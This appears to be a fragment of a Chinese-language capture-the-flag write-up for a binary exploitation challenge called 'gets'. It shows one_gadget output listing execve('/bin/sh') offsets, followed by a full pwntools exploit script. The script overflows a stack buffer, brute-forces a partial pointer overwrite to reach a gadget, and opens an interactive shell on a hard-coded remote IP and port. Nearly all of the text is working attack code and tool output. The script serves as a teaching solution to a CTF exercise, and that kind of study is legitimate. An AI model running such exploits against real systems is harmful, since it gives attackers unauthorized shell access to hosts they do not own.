0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
放上完整exp:
from pwn import *
context.terminal = ['tmux', 'split', '-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
elfpath = './gets'
context.binary = elfpath
elf = ELF(elfpath)
bits = elf.bits
def exp(ip, port):
for i in range(0x1000):
if args['REMOTE']:
p = remote(ip, port)
else:
p = process(elfpath, timeout=2)
# gdb.attach(p)
try:
payload = 0x18 * 'a' + p64(0x40059B)
for _ in range(2):
payload += 'a' * 8 * 5 + p64(0x40059B)
payload += 'a' * 8 * 5 + '\x16\02'
p.sendline(payload)
p.sendline('ls')
data = p.recv()
print data
p.interactive()
p.close()
except Exception:
p.close()
continue
if __name__ == "__main__":
exp('106.75.4.189', 35273)